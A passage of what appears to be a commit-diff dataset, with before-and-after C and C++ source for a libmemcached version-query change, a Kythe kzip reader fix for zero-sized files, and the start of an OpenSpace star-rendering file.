vector[]=\n  {\n    { memcached_literal_param(\"version\\r\\n\") },\n  };\n\n  bool errors_happened= false;\n  for (uint32_t x= 0; x < memcached_server_count(ptr); x++)\n  {\n    memcached_server_write_instance_st instance= memcached_server_instance_fetch(ptr, x);\n\n    \/\/ Optimization, we only fetch version once.\n    if (instance->major_version != UINT8_MAX)\n    {\n      continue;\n    }\n\n    memcached_return_t rrc;\n    if (memcached_failed(rrc= memcached_vdo(instance, vector, 1, true)))\n    {\n      errors_happened= true;\n      (void)memcached_set_error(*instance, rrc, MEMCACHED_AT);\n      instance->major_version= instance->minor_version= instance->micro_version= UINT8_MAX;\n    }\n    else if (memcached_failed(rrc= memcached_response(instance, NULL)))\n    {\n      errors_happened= true;\n      memcached_set_error(*instance, rrc, MEMCACHED_AT);\n      instance->major_version= instance->minor_version= instance->micro_version= UINT8_MAX;\n    }\n  }\n\n  return errors_happened ? MEMCACHED_SOME_ERRORS : MEMCACHED_SUCCESS;\n}\n\nstatic inline memcached_return_t memcached_version_binary(memcached_st *ptr)\n{\n  protocol_binary_request_version request= {};\n  request.message.header.request.magic= PROTOCOL_BINARY_REQ;\n  request.message.header.request.opcode= PROTOCOL_BINARY_CMD_VERSION;\n  request.message.header.request.datatype= PROTOCOL_BINARY_RAW_BYTES;\n\n  libmemcached_io_vector_st vector[]=\n  {\n    { request.bytes, sizeof(request.bytes) }\n  };\n\n  uint32_t success= 0;\n  bool errors_happened= false;\n  for (uint32_t x= 0; x < memcached_server_count(ptr); x++) \n  {\n    memcached_server_write_instance_st instance= memcached_server_instance_fetch(ptr, x);\n\n    if (instance->major_version != UINT8_MAX)\n    {\n      continue;\n    }\n\n    memcached_return_t rrc= memcached_vdo(instance, vector, 1, true);\n    if (memcached_failed(rrc))\n    {\n      memcached_io_reset(instance);\n      errors_happened= true;\n      continue;\n    }\n\n    success++;\n  }\n\n  if (success)\n  {\n    \/\/ Collect the returned items\n    memcached_server_write_instance_st instance;\n    while ((instance= memcached_io_get_readable_server(ptr)))\n    {\n      char buffer[32];\n      memcached_return_t rrc= memcached_response(instance, buffer, sizeof(buffer), NULL);\n      if (memcached_failed(rrc))\n      {\n        memcached_io_reset(instance);\n        errors_happened= true;\n      }\n    }\n  }\n\n  return errors_happened ? MEMCACHED_SOME_ERRORS : MEMCACHED_SUCCESS;\n}\n\nmemcached_return_t memcached_version(memcached_st *ptr)\n{\n  memcached_return_t rc;\n  if (memcached_failed(rc= initialize_query(ptr, true)))\n  {\n    return rc;\n  }\n\n  if (memcached_is_udp(ptr))\n  {\n    return MEMCACHED_NOT_SUPPORTED;\n  }\n\n  if (memcached_is_binary(ptr))\n  {\n    return memcached_version_binary(ptr);\n  }\n\n  return memcached_version_textual(ptr);      \n}\n<commit_msg>Make version handle messages by priority.<commit_after>\/*  vim:expandtab:shiftwidth=2:tabstop=2:smarttab:\n * \n *  Libmemcached library\n *\n *  Copyright (C) 2011 Data Differential, http:\/\/datadifferential.com\/\n *  Copyright (C) 2010 Brian Aker All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions are\n *  met:\n *\n *      * Redistributions of source code must retain the above copyright\n *  notice, this list of conditions and the following disclaimer.\n *\n *      * Redistributions in binary form must reproduce the above\n *  copyright notice, this list of conditions and the following disclaimer\n *  in the documentation and\/or other materials provided with the\n *  distribution.\n *\n *      * The names of its contributors may not be used to endorse or\n *  promote products derived from this software without specific prior\n *  written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n *  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n *  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n *  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n *  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n *  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n *  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n *  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n *  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n#include <libmemcached\/common.h>\n\nconst char * memcached_lib_version(void) \n{\n  return LIBMEMCACHED_VERSION_STRING;\n}\n\nstatic inline memcached_return_t memcached_version_textual(memcached_st *ptr)\n{\n  libmemcached_io_vector_st vector[]=\n  {\n    { memcached_literal_param(\"version\\r\\n\") },\n  };\n\n  uint32_t success= 0;\n  bool errors_happened= false;\n  for (uint32_t x= 0; x < memcached_server_count(ptr); x++)\n  {\n    memcached_server_write_instance_st instance= memcached_server_instance_fetch(ptr, x);\n\n    \/\/ Optimization, we only fetch version once.\n    if (instance->major_version != UINT8_MAX)\n    {\n      continue;\n    }\n\n    memcached_return_t rrc;\n    if (memcached_failed(rrc= memcached_vdo(instance, vector, 1, true)))\n    {\n      errors_happened= true;\n      (void)memcached_set_error(*instance, rrc, MEMCACHED_AT);\n      continue;\n    }\n    success++;\n  }\n\n  if (success)\n  {\n    \/\/ Collect the returned items\n    memcached_server_write_instance_st instance;\n    while ((instance= memcached_io_get_readable_server(ptr)))\n    {\n      memcached_return_t rrc= memcached_response(instance, NULL);\n      if (memcached_failed(rrc))\n      {\n        memcached_io_reset(instance);\n        errors_happened= true;\n      }\n    }\n  }\n\n  return errors_happened ? MEMCACHED_SOME_ERRORS : MEMCACHED_SUCCESS;\n}\n\nstatic inline memcached_return_t memcached_version_binary(memcached_st *ptr)\n{\n  protocol_binary_request_version request= {};\n  request.message.header.request.magic= PROTOCOL_BINARY_REQ;\n  request.message.header.request.opcode= PROTOCOL_BINARY_CMD_VERSION;\n  request.message.header.request.datatype= PROTOCOL_BINARY_RAW_BYTES;\n\n  libmemcached_io_vector_st vector[]=\n  {\n    { request.bytes, sizeof(request.bytes) }\n  };\n\n  uint32_t success= 0;\n  bool errors_happened= false;\n  for (uint32_t x= 0; x < memcached_server_count(ptr); x++) \n  {\n    memcached_server_write_instance_st instance= memcached_server_instance_fetch(ptr, x);\n\n    if (instance->major_version != UINT8_MAX)\n    {\n      continue;\n    }\n\n    memcached_return_t rrc= memcached_vdo(instance, vector, 1, true);\n    if (memcached_failed(rrc))\n    {\n      memcached_io_reset(instance);\n      errors_happened= true;\n      continue;\n    }\n\n    success++;\n  }\n\n  if (success)\n  {\n    \/\/ Collect the returned items\n    memcached_server_write_instance_st instance;\n    while ((instance= memcached_io_get_readable_server(ptr)))\n    {\n      char buffer[32];\n      memcached_return_t rrc= memcached_response(instance, buffer, sizeof(buffer), NULL);\n      if (memcached_failed(rrc))\n      {\n        memcached_io_reset(instance);\n        errors_happened= true;\n      }\n    }\n  }\n\n  return errors_happened ? MEMCACHED_SOME_ERRORS : MEMCACHED_SUCCESS;\n}\n\nmemcached_return_t memcached_version(memcached_st *ptr)\n{\n  memcached_return_t rc;\n  if (memcached_failed(rc= initialize_query(ptr, true)))\n  {\n    return rc;\n  }\n\n  if (memcached_is_udp(ptr))\n  {\n    return MEMCACHED_NOT_SUPPORTED;\n  }\n\n  if (memcached_is_binary(ptr))\n  {\n    return memcached_version_binary(ptr);\n  }\n\n  return memcached_version_textual(ptr);      \n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2018 The Kythe Authors. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"kythe\/cxx\/common\/kzip_reader.h\"\n\n#include <openssl\/sha.h>\n\n#include <set>\n\n#include \"absl\/memory\/memory.h\"\n#include \"absl\/status\/status.h\"\n#include \"absl\/status\/statusor.h\"\n#include \"absl\/strings\/escaping.h\"\n#include \"absl\/strings\/match.h\"\n#include \"absl\/strings\/str_cat.h\"\n#include \"absl\/strings\/str_split.h\"\n#include \"absl\/strings\/string_view.h\"\n#include \"absl\/strings\/strip.h\"\n#include \"absl\/types\/optional.h\"\n#include \"glog\/logging.h\"\n#include \"google\/protobuf\/io\/zero_copy_stream.h\"\n#include \"google\/protobuf\/io\/zero_copy_stream_impl.h\"\n#include \"kythe\/cxx\/common\/json_proto.h\"\n#include \"kythe\/cxx\/common\/libzip\/error.h\"\n#include \"kythe\/proto\/analysis.pb.h\"\n\nnamespace kythe {\nnamespace {\n\nconstexpr absl::string_view kJsonUnitsDir = \"\/units\/\";\nconstexpr absl::string_view kProtoUnitsDir = \"\/pbunits\/\";\n\nstruct ZipFileClose {\n  void operator()(zip_file_t* file) {\n    if (file != nullptr) {\n      CHECK_EQ(zip_fclose(file), 0);\n    }\n  }\n};\nusing ZipFile = std::unique_ptr<zip_file_t, ZipFileClose>;\n\nclass ZipFileInputStream : public google::protobuf::io::ZeroCopyInputStream {\n public:\n  explicit ZipFileInputStream(zip_file_t* file) : input_(file) {}\n\n  bool Next(const void** data, int* size) override {\n    return impl_.Next(data, size);\n  }\n\n  void BackUp(int count) override { impl_.BackUp(count); }\n  bool Skip(int count) override { return impl_.Skip(count); }\n  int64_t ByteCount() const override { return impl_.ByteCount(); }\n\n private:\n  class CopyingZipInputStream\n      : public google::protobuf::io::CopyingInputStream {\n   public:\n    explicit CopyingZipInputStream(zip_file_t* file) : file_(file) {}\n\n    int Read(void* buffer, int size) override {\n      return zip_fread(file_, buffer, size);\n    }\n\n    int Skip(int count) override {\n      zip_int64_t start = zip_ftell(file_);\n      if (start < 0) {\n        return 0;\n      }\n      if (zip_fseek(file_, count, SEEK_CUR) < 0) {\n        return 0;\n      }\n      zip_int64_t end = zip_ftell(file_);\n      if (end < 0) {\n        return 0;\n      }\n      return end - start;\n    }\n\n   private:\n    zip_file_t* file_;\n  };\n\n  CopyingZipInputStream input_;\n  google::protobuf::io::CopyingInputStreamAdaptor impl_{&input_};\n};\n\nstruct KzipOptions {\n  absl::string_view root;\n  KzipEncoding encoding;\n};\n\nabsl::StatusOr<KzipOptions> Validate(zip_t* archive) {\n  if (!zip_get_num_entries(archive, 0)) {\n    return absl::InvalidArgumentError(\"Empty kzip archive\");\n  }\n\n  \/\/ Pull the root directory from an arbitrary entry.\n  absl::string_view root = zip_get_name(archive, 0, 0);\n  auto slashpos = root.find('\/');\n  if (slashpos == 0 || slashpos == absl::string_view::npos) {\n    return absl::InvalidArgumentError(\n        absl::StrCat(\"Malformed kzip: invalid root: \", root));\n  }\n  root.remove_suffix(root.size() - slashpos);\n  VLOG(1) << \"Using archive root: \" << root;\n  std::set<absl::string_view> proto_units;\n  std::set<absl::string_view> json_units;\n  for (int i = 0; i < zip_get_num_entries(archive, 0); ++i) {\n    absl::string_view name = zip_get_name(archive, i, 0);\n    if (!absl::ConsumePrefix(&name, root)) {\n      return absl::InvalidArgumentError(\n          absl::StrCat(\"Malformed kzip: invalid entry: \", name));\n    }\n    if (absl::ConsumePrefix(&name, kJsonUnitsDir)) {\n      json_units.insert(name);\n    } else if (absl::ConsumePrefix(&name, kProtoUnitsDir)) {\n      proto_units.insert(name);\n    }\n  }\n  KzipEncoding encoding = KzipEncoding::kJson;\n  if (json_units.empty()) {\n    encoding = KzipEncoding::kProto;\n  } else if (!proto_units.empty()) {\n    std::vector<absl::string_view> diff;\n    std::set_symmetric_difference(json_units.begin(), json_units.end(),\n                                  proto_units.begin(), proto_units.end(),\n                                  std::inserter(diff, diff.end()));\n    if (!diff.empty()) {\n      return absl::InvalidArgumentError(absl::StrCat(\n          \"Malformed kzip: multiple unit encodings but different entries\"));\n    }\n  }\n  return KzipOptions{root, encoding};\n}\n\nabsl::optional<zip_uint64_t> FileSize(zip_t* archive, zip_uint64_t index) {\n  zip_stat_t sb;\n  zip_stat_init(&sb);\n\n  if (zip_stat_index(archive, index, ZIP_STAT_SIZE, &sb) < 0) {\n    return absl::nullopt;\n  }\n  return sb.size;\n}\n\nabsl::StatusOr<std::string> ReadTextFile(zip_t* archive,\n                                         const std::string& path) {\n  zip_int64_t index = zip_name_locate(archive, path.c_str(), 0);\n  if (index >= 0) {\n    if (auto file = ZipFile(zip_fopen_index(archive, index, 0))) {\n      if (auto size = FileSize(archive, index)) {\n        std::string result(*size, '\\0');\n        if (zip_fread(file.get(), &result.front(), *size) == *size) {\n          return result;\n        } else {\n          return libzip::ToStatus(zip_file_get_error(file.get()));\n        }\n      }\n    }\n  }\n  absl::Status status = libzip::ToStatus(zip_get_error(archive));\n  if (!status.ok()) {\n    return status;\n  }\n  return absl::UnknownError(absl::StrCat(\"Unable to read: \", path));\n}\n\nabsl::string_view DirNameForEncoding(KzipEncoding encoding) {\n  switch (encoding) {\n    case KzipEncoding::kJson:\n      return kJsonUnitsDir;\n    case KzipEncoding::kProto:\n      return kProtoUnitsDir;\n    default:\n      LOG(FATAL) << \"Unsupported encoding: \" << static_cast<int>(encoding);\n  }\n  return \"\";\n}\n\n}  \/\/ namespace\n\nabsl::optional<absl::string_view> KzipReader::UnitDigest(\n    absl::string_view path) {\n  if (!absl::ConsumePrefix(&path, unit_prefix_) || path.empty()) {\n    return absl::nullopt;\n  }\n  return path;\n}\n\n\/* static *\/\nabsl::StatusOr<IndexReader> KzipReader::Open(absl::string_view path) {\n  int error;\n  if (auto archive =\n          ZipHandle(zip_open(std::string(path).c_str(), ZIP_RDONLY, &error))) {\n    if (auto options = Validate(archive.get()); options.ok()) {\n      return IndexReader(absl::WrapUnique(new KzipReader(\n          std::move(archive), options->root, options->encoding)));\n    } else {\n      return options.status();\n    }\n  }\n  return libzip::Error(error).ToStatus();\n}\n\n\/* static *\/\nabsl::StatusOr<IndexReader> KzipReader::FromSource(zip_source_t* source) {\n  libzip::Error error;\n  if (auto archive =\n          ZipHandle(zip_open_from_source(source, ZIP_RDONLY, error.get()))) {\n    if (auto options = Validate(archive.get()); options.ok()) {\n      return IndexReader(absl::WrapUnique(new KzipReader(\n          std::move(archive), options->root, options->encoding)));\n    } else {\n      \/\/ Ensure source is retained when `archive` is deleted.\n      \/\/ It is the callers responsitility to free it on error.\n      zip_source_keep(source);\n      return options.status();\n    }\n  }\n  return error.ToStatus();\n}\n\nKzipReader::KzipReader(ZipHandle archive, absl::string_view root,\n                       KzipEncoding encoding)\n    : archive_(std::move(archive)),\n      encoding_(encoding),\n      files_prefix_(absl::StrCat(root, \"\/files\/\")),\n      unit_prefix_(absl::StrCat(root, DirNameForEncoding(encoding))) {}\n\nabsl::StatusOr<proto::IndexedCompilation> KzipReader::ReadUnit(\n    absl::string_view digest) {\n  std::string path = absl::StrCat(unit_prefix_, digest);\n\n  if (auto file = ZipFile(zip_fopen(archive(), path.c_str(), 0))) {\n    proto::IndexedCompilation unit;\n    ZipFileInputStream input(file.get());\n    absl::Status status;\n    if (encoding_ == KzipEncoding::kJson) {\n      status = ParseFromJsonStream(&input, &unit);\n    } else {\n      if (!unit.ParseFromZeroCopyStream(&input)) {\n        status = absl::InvalidArgumentError(\"Failure parsing proto unit\");\n      }\n    }\n    if (!status.ok()) {\n      absl::Status zip_status =\n          libzip::ToStatus(zip_file_get_error(file.get()));\n      if (!zip_status.ok()) {\n        \/\/ Prefer the underlying zip error, if present.\n        return zip_status;\n      }\n      return status;\n    }\n    return unit;\n  }\n  absl::Status status = libzip::ToStatus(zip_get_error(archive()));\n  if (!status.ok()) {\n    return status;\n  }\n  return absl::UnknownError(absl::StrCat(\"Unable to open unit \", digest));\n}\n\nabsl::StatusOr<std::string> KzipReader::ReadFile(absl::string_view digest) {\n  return ReadTextFile(archive(), absl::StrCat(files_prefix_, digest));\n}\n\nabsl::Status KzipReader::Scan(const ScanCallback& callback) {\n  for (int i = 0; i < zip_get_num_entries(archive(), 0); ++i) {\n    if (auto digest = UnitDigest(zip_get_name(archive(), i, 0))) {\n      if (!callback(*digest)) {\n        break;\n      }\n    }\n  }\n  return absl::OkStatus();\n}\n\n}  \/\/ namespace kythe\n<commit_msg>fix(cxx_common): address bug with zero sized files (#5445)<commit_after>\/*\n * Copyright 2018 The Kythe Authors. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"kythe\/cxx\/common\/kzip_reader.h\"\n\n#include <openssl\/sha.h>\n\n#include <set>\n\n#include \"absl\/memory\/memory.h\"\n#include \"absl\/status\/status.h\"\n#include \"absl\/status\/statusor.h\"\n#include \"absl\/strings\/escaping.h\"\n#include \"absl\/strings\/match.h\"\n#include \"absl\/strings\/str_cat.h\"\n#include \"absl\/strings\/str_split.h\"\n#include \"absl\/strings\/string_view.h\"\n#include \"absl\/strings\/strip.h\"\n#include \"absl\/types\/optional.h\"\n#include \"glog\/logging.h\"\n#include \"google\/protobuf\/io\/zero_copy_stream.h\"\n#include \"google\/protobuf\/io\/zero_copy_stream_impl.h\"\n#include \"kythe\/cxx\/common\/json_proto.h\"\n#include \"kythe\/cxx\/common\/libzip\/error.h\"\n#include \"kythe\/proto\/analysis.pb.h\"\n\nnamespace kythe {\nnamespace {\n\nconstexpr absl::string_view kJsonUnitsDir = \"\/units\/\";\nconstexpr absl::string_view kProtoUnitsDir = \"\/pbunits\/\";\n\nstruct ZipFileClose {\n  void operator()(zip_file_t* file) {\n    if (file != nullptr) {\n      CHECK_EQ(zip_fclose(file), 0);\n    }\n  }\n};\nusing ZipFile = std::unique_ptr<zip_file_t, ZipFileClose>;\n\nclass ZipFileInputStream : public google::protobuf::io::ZeroCopyInputStream {\n public:\n  explicit ZipFileInputStream(zip_file_t* file) : input_(file) {}\n\n  bool Next(const void** data, int* size) override {\n    return impl_.Next(data, size);\n  }\n\n  void BackUp(int count) override { impl_.BackUp(count); }\n  bool Skip(int count) override { return impl_.Skip(count); }\n  int64_t ByteCount() const override { return impl_.ByteCount(); }\n\n private:\n  class CopyingZipInputStream\n      : public google::protobuf::io::CopyingInputStream {\n   public:\n    explicit CopyingZipInputStream(zip_file_t* file) : file_(file) {}\n\n    int Read(void* buffer, int size) override {\n      return zip_fread(file_, buffer, size);\n    }\n\n    int Skip(int count) override {\n      zip_int64_t start = zip_ftell(file_);\n      if (start < 0) {\n        return 0;\n      }\n      if (zip_fseek(file_, count, SEEK_CUR) < 0) {\n        return 0;\n      }\n      zip_int64_t end = zip_ftell(file_);\n      if (end < 0) {\n        return 0;\n      }\n      return end - start;\n    }\n\n   private:\n    zip_file_t* file_;\n  };\n\n  CopyingZipInputStream input_;\n  google::protobuf::io::CopyingInputStreamAdaptor impl_{&input_};\n};\n\nstruct KzipOptions {\n  absl::string_view root;\n  KzipEncoding encoding;\n};\n\nabsl::StatusOr<KzipOptions> Validate(zip_t* archive) {\n  if (!zip_get_num_entries(archive, 0)) {\n    return absl::InvalidArgumentError(\"Empty kzip archive\");\n  }\n\n  \/\/ Pull the root directory from an arbitrary entry.\n  absl::string_view root = zip_get_name(archive, 0, 0);\n  auto slashpos = root.find('\/');\n  if (slashpos == 0 || slashpos == absl::string_view::npos) {\n    return absl::InvalidArgumentError(\n        absl::StrCat(\"Malformed kzip: invalid root: \", root));\n  }\n  root.remove_suffix(root.size() - slashpos);\n  VLOG(1) << \"Using archive root: \" << root;\n  std::set<absl::string_view> proto_units;\n  std::set<absl::string_view> json_units;\n  for (int i = 0; i < zip_get_num_entries(archive, 0); ++i) {\n    absl::string_view name = zip_get_name(archive, i, 0);\n    if (!absl::ConsumePrefix(&name, root)) {\n      return absl::InvalidArgumentError(\n          absl::StrCat(\"Malformed kzip: invalid entry: \", name));\n    }\n    if (absl::ConsumePrefix(&name, kJsonUnitsDir)) {\n      json_units.insert(name);\n    } else if (absl::ConsumePrefix(&name, kProtoUnitsDir)) {\n      proto_units.insert(name);\n    }\n  }\n  KzipEncoding encoding = KzipEncoding::kJson;\n  if (json_units.empty()) {\n    encoding = KzipEncoding::kProto;\n  } else if (!proto_units.empty()) {\n    std::vector<absl::string_view> diff;\n    std::set_symmetric_difference(json_units.begin(), json_units.end(),\n                                  proto_units.begin(), proto_units.end(),\n                                  std::inserter(diff, diff.end()));\n    if (!diff.empty()) {\n      return absl::InvalidArgumentError(absl::StrCat(\n          \"Malformed kzip: multiple unit encodings but different entries\"));\n    }\n  }\n  return KzipOptions{root, encoding};\n}\n\nabsl::optional<zip_uint64_t> FileSize(zip_t* archive, zip_uint64_t index) {\n  zip_stat_t sb;\n  zip_stat_init(&sb);\n\n  if (zip_stat_index(archive, index, ZIP_STAT_SIZE, &sb) < 0) {\n    return absl::nullopt;\n  }\n  return sb.size;\n}\n\nabsl::StatusOr<std::string> ReadTextFile(zip_t* archive,\n                                         const std::string& path) {\n  zip_int64_t index = zip_name_locate(archive, path.c_str(), 0);\n  if (index >= 0) {\n    if (auto file = ZipFile(zip_fopen_index(archive, index, 0))) {\n      if (auto size = FileSize(archive, index)) {\n        std::string result(*size, '\\0');\n        if (*size == 0 ||\n            zip_fread(file.get(), result.data(), *size) == *size) {\n          return result;\n        } else {\n          return libzip::ToStatus(zip_file_get_error(file.get()));\n        }\n      }\n    }\n  }\n  absl::Status status = libzip::ToStatus(zip_get_error(archive));\n  if (!status.ok()) {\n    return status;\n  }\n  return absl::UnknownError(absl::StrCat(\"Unable to read: \", path));\n}\n\nabsl::string_view DirNameForEncoding(KzipEncoding encoding) {\n  switch (encoding) {\n    case KzipEncoding::kJson:\n      return kJsonUnitsDir;\n    case KzipEncoding::kProto:\n      return kProtoUnitsDir;\n    default:\n      LOG(FATAL) << \"Unsupported encoding: \" << static_cast<int>(encoding);\n  }\n  return \"\";\n}\n\n}  \/\/ namespace\n\nabsl::optional<absl::string_view> KzipReader::UnitDigest(\n    absl::string_view path) {\n  if (!absl::ConsumePrefix(&path, unit_prefix_) || path.empty()) {\n    return absl::nullopt;\n  }\n  return path;\n}\n\n\/* static *\/\nabsl::StatusOr<IndexReader> KzipReader::Open(absl::string_view path) {\n  int error;\n  if (auto archive =\n          ZipHandle(zip_open(std::string(path).c_str(), ZIP_RDONLY, &error))) {\n    if (auto options = Validate(archive.get()); options.ok()) {\n      return IndexReader(absl::WrapUnique(new KzipReader(\n          std::move(archive), options->root, options->encoding)));\n    } else {\n      return options.status();\n    }\n  }\n  return libzip::Error(error).ToStatus();\n}\n\n\/* static *\/\nabsl::StatusOr<IndexReader> KzipReader::FromSource(zip_source_t* source) {\n  libzip::Error error;\n  if (auto archive =\n          ZipHandle(zip_open_from_source(source, ZIP_RDONLY, error.get()))) {\n    if (auto options = Validate(archive.get()); options.ok()) {\n      return IndexReader(absl::WrapUnique(new KzipReader(\n          std::move(archive), options->root, options->encoding)));\n    } else {\n      \/\/ Ensure source is retained when `archive` is deleted.\n      \/\/ It is the callers responsitility to free it on error.\n      zip_source_keep(source);\n      return options.status();\n    }\n  }\n  return error.ToStatus();\n}\n\nKzipReader::KzipReader(ZipHandle archive, absl::string_view root,\n                       KzipEncoding encoding)\n    : archive_(std::move(archive)),\n      encoding_(encoding),\n      files_prefix_(absl::StrCat(root, \"\/files\/\")),\n      unit_prefix_(absl::StrCat(root, DirNameForEncoding(encoding))) {}\n\nabsl::StatusOr<proto::IndexedCompilation> KzipReader::ReadUnit(\n    absl::string_view digest) {\n  std::string path = absl::StrCat(unit_prefix_, digest);\n\n  if (auto file = ZipFile(zip_fopen(archive(), path.c_str(), 0))) {\n    proto::IndexedCompilation unit;\n    ZipFileInputStream input(file.get());\n    absl::Status status;\n    if (encoding_ == KzipEncoding::kJson) {\n      status = ParseFromJsonStream(&input, &unit);\n    } else {\n      if (!unit.ParseFromZeroCopyStream(&input)) {\n        status = absl::InvalidArgumentError(\"Failure parsing proto unit\");\n      }\n    }\n    if (!status.ok()) {\n      absl::Status zip_status =\n          libzip::ToStatus(zip_file_get_error(file.get()));\n      if (!zip_status.ok()) {\n        \/\/ Prefer the underlying zip error, if present.\n        return zip_status;\n      }\n      return status;\n    }\n    return unit;\n  }\n  absl::Status status = libzip::ToStatus(zip_get_error(archive()));\n  if (!status.ok()) {\n    return status;\n  }\n  return absl::UnknownError(absl::StrCat(\"Unable to open unit \", digest));\n}\n\nabsl::StatusOr<std::string> KzipReader::ReadFile(absl::string_view digest) {\n  return ReadTextFile(archive(), absl::StrCat(files_prefix_, digest));\n}\n\nabsl::Status KzipReader::Scan(const ScanCallback& callback) {\n  for (int i = 0; i < zip_get_num_entries(archive(), 0); ++i) {\n    if (auto digest = UnitDigest(zip_get_name(archive(), i, 0))) {\n      if (!callback(*digest)) {\n        break;\n      }\n    }\n  }\n  return absl::OkStatus();\n}\n\n}  \/\/ namespace kythe\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************************\n*                                                                                       *\n* OpenSpace                                                                             *\n*                                                                                       *\n* Copyright (c) 2014                                                                    *\n*                                                                                       *\n* Permission is hereby granted, free of charge, to any person obtaining a copy of this  *\n* software and associated documentation files (the \"Software\"), to deal in the Software *\n* without restriction, including without limitation the rights to use, copy, modify,    *\n* merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to    *\n* permit persons to whom the Software is furnished to do so, subject to the following   *\n* conditions:                                                                           *\n*                                                                                       *\n* The above copyright notice and this permission notice shall be included in all copies *\n* or substantial portions of the Software.                                              *\n*                                                                                       *\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,   *\n* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A         *\n* PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT    *\n* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF  *\n* CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE  *\n* OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                                         *\n****************************************************************************************\/\n\n\/\/standard includes \n#include <iostream>\n#include <fstream>\n#include <limits>\n\n#include <vector>\n\n\/\/ open space includes\n#include <openspace\/rendering\/stars\/renderablestars.h>\n#include <openspace\/util\/constants.h>\n\n#include <ghoul\/filesystem\/filesystem.h>\n#include <openspace\/engine\/openspaceengine.h>\n#include <sgct.h>\n\nnamespace {\n\tconst std::string _loggerCat = \"RenderableStars\";\n}\n\nnamespace openspace {\nRenderableStars::RenderableStars(const ghoul::Dictionary& dictionary)\n\t: Renderable(dictionary),\n\t_programObject(nullptr){\n\n\tstd::string path;\n\tdictionary.getValue(constants::renderablestars::keySpeckFile, path);\n\t_speckPath = absPath(path);\n}\n\nRenderableStars::~RenderableStars(){\n\tdeinitialize();\n}\n\nGLuint createVBO(const void* data, int dataSize, GLenum target, GLenum usage){\n\tGLuint id = 0;  \/\/ 0 is reserved, glGenBuffersARB() will return non-zero id if success\n\tglGenBuffers(1, &id);                        \/\/ create a vbo\n\tglBindBuffer(target, id);                    \/\/ activate vbo id to use\n\tglBufferData(target, dataSize, data, usage); \/\/ upload data to video card\n\n\t\/\/ check data size in VBO is same as input array, if not return 0 and delete VBO\n\tint bufferSize = 0;\n\tglGetBufferParameteriv(target, GL_BUFFER_SIZE, &bufferSize);\n\tif (dataSize != bufferSize)\n\t{\n\t\tglDeleteBuffers(1, &id);\n\t\tid = 0;\n\t\tprintf(\"[createVBO()] Data size is mismatch with input array\\n\");\n\t}\n\tglBindBuffer(target, 0);\n\treturn id;      \/\/ return VBO id\n}\n\nstd::ifstream& RenderableStars::skipToLine(std::ifstream& file, unsigned int num){\n\tfile.seekg(std::ios::beg);\n\tfor (int i = 0; i < num - 1; ++i){\n\t\tfile.ignore(std::numeric_limits<std::streamsize>::max(), '\\n');\n\t}\n\treturn file;\n}\n\n\nbool RenderableStars::readSpeckFile(const std::string& path){\n\tstd::ifstream file;\n\tstd::string str, name, datastr;\n\tstd::vector<std::string> strvec;\n\tstd::vector<double> positions;\n\tstd::vector<double> doubleData;\n    int count = 0;\n\n\tfile.open(path);\n\n\tif (!file.is_open()){\n\t\tLERROR(\"Failed to open spec file for : '\" << path << \"'\");\n\t\treturn false;\n\t}\n\t\/\/ count metadata lines.\n\tdo{\n\t\tgetline(file, str);\n\t\tcount++;\n\t} while (str[0] != ' ');\n\t\/\/ set seek pointer to first line with actual data\n\tskipToLine(file, count);\n\tcount = 0;\n\t\n\tdo{\n\t\tgetline(file, str);\n\t\tif (file.eof()) break;\n\t\t\/\/ split the line on pound symbol. \n\t   std::size_t mid = str.find('#');\n\t\tif (mid != std::string::npos){\n\t\t\tdatastr = str.substr(0, mid);\n\t\t\tstd::size_t end = str.find('\\n');\n\t\t\tif (end == std::string::npos)\n\t\t\t\tname = str.substr(mid, end);\n\t\t} \n\t\t\/\/ split data string on whitespace to 